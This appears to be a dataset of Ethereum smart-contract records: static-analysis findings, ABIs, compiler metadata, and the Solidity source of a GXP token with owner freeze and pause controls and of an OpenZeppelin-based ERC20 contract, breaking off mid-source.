[{"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 152, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 87, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 174, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 196, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 212, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 269, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 369, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 420, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 420, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 94, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 97, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 115, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 251, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 257, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 284, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 292, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 301, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 309, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 319, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 328, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 441, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 452, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 462, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 477, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 487, "severity": 1}, {"rule": "SOLIDITY_TX_ORIGIN", "line": 79, "severity": 2}, {"rule": "SOLIDITY_VISIBILITY", "line": 329, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 336, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 343, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 347, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 350, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 392, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 399, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 405, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 15, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 332, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 333, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 334, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 339, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 340, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 341, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 342, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 343, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 343, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 343, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 346, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 347, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 347, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 347, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 349, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 350, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 350, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 350, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 352, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 356, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 395, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 396, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 397, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 401, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 402, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 403, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 408, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 409, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 410, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_factory","type":"address"},{"internalType":"address","name":"_sushiRouter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token0","type":"address"},{"internalType":"address","name":"token1","type":"address"},{"internalType":"uint256","name":"amount0","type":"uint256"},{"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"startArbitrage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sushiRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount0","type":"uint256"},{"internalType":"uint256","name":"_amount1","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"uniswapV2Call","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.6+commit.6c089d02
false
200
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f
Default
false
GXP
0xb03f628ec2ead887917354ee328e356c2e18a4dc
Solidity
pragma solidity ^0.5.11; /** * Math operations with safety checks */ contract SafeMath { function mul(uint256 a, uint256 b)pure internal returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b)pure internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b)pure internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b)pure internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract GXP is ERC20, SafeMath{ string public name; string public symbol; uint8 public decimals; address payable public owner; address public _freeze; bool public paused = false; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => uint256) public freezeOf; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* This notifies clients about the contract pause */ event Pause(address indexed from); /* This notifies clients about the contract pause */ event Unpause(address indexed from); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, uint8 decimalUnits, string memory tokenSymbol, address freezeAddr ) public { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; _freeze = freezeAddr; } /* Send coins */ function transfer(address _to, uint256 _value) public returns (bool success) { require(!paused,"contract is paused"); require(_to != address(0), "ERC20: transfer from the zero address"); // Prevent transfer to 0x0 address. Use burn() instead require(_value >0); require(balanceOf[msg.sender] > _value,"balance not enouth"); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[msg.sender] = sub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = add(balanceOf[_to], _value); // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { require(!paused,"contract is paused"); require(_value > 0); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender,_spender,_value); return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!paused,"contract is paused"); require(_to != address(0), "ERC20: transfer from the zero address"); // Prevent transfer to 0x0 address. Use burn() instead require(_to == msg.sender); require(_value >0); require(balanceOf[_from] >= _value,"the balance of from address not enough"); // Check if the sender has enough require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender], "from allowance not enough"); // Check allowance balanceOf[_from] = sub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = add(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function burn(uint256 _value) public returns (bool success) { require(!paused,"contract is paused"); require(balanceOf[msg.sender] >= _value,"balance not enough"); // Check if the sender has enough require(_value >0); balanceOf[msg.sender] = sub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = sub(totalSupply,_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } function freeze(address _address, uint256 _value) public returns (bool success) { require(!paused,"contract is paused"); require(msg.sender == owner|| msg.sender == _freeze,"no permission"); require(balanceOf[_address] >= _value,"address balance not enough"); // Check if the sender has enough require(_value >0); balanceOf[_address] = sub(balanceOf[_address], _value); // Subtract from the sender freezeOf[_address] = add(freezeOf[_address], _value); // Updates totalSupply emit Freeze(_address, _value); return true; } function unfreeze(address _address, uint256 _value) public returns (bool success) { require(!paused,"contract is paused"); require(msg.sender == owner|| msg.sender == _freeze,"no permission"); require(freezeOf[_address] >= _value,"freeze balance not enough"); // Check if the sender has enough require(_value >0); freezeOf[_address] = sub(freezeOf[_address], _value); // Subtract from the sender balanceOf[_address] = add(balanceOf[_address], _value); emit Unfreeze(_address, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) public { require(msg.sender == owner,"no permission"); owner.transfer(amount); } // can accept ether function() external payable { } function pause() public{ require(msg.sender == owner|| msg.sender == _freeze,"no permission"); paused = true; emit Pause(msg.sender); } function unpause() public{ require(msg.sender == owner|| msg.sender == _freeze,"no permission"); paused = false; emit Unpause(msg.sender); } }
[{"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["170"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GXP.sol": [7, 8, 9, 10, 11, 12, 13, 14]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GXP.sol": [16, 17, 18, 19, 20, 21]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [177, 178, 179, 180, 181]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [145, 146, 147, 148, 149, 150, 151, 152, 153, 154]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [128, 129, 130, 131, 132, 133, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [168, 169, 170, 171]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [160, 161, 162, 163, 164, 165, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [109, 110, 111, 112, 113, 114, 115, 116]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [135, 136, 137, 138, 139, 140, 141, 142, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GXP.sol": [182, 183, 184, 185, 186]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"GXP.sol": [91]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [109]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [145]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [109]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [96]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [156]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [51]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [145]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [96]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GXP.sol": [156]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 109, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"freeze","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEther","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_freeze","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"unfreeze","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"freezeOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"uint8","name":"decimalUnits","type":"uint8"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"address","name":"freezeAddr","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Freeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Unfreeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"}],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"}],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.5.11+commit.c082d0b4
true
200
00000000000000000000000000000000000000000110f837d8942a518a00000000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000e00000000000000000000000009459cc6a7edb408bd0eb21b0bb4d75cf30ee2c500000000000000000000000000000000000000000000000000000000000000003475850000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034758500000000000000000000000000000000000000000000000000000000000
Default
MIT
false
bzzr://790e79a07b3339d163d618e99f28a75d6e9a47bd85165dd4e72fad74115de69e
ETH3L
0xa36a1f5f3a4d22e7cb3963c15f30d1cd4d9ceec0
Solidity
pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. 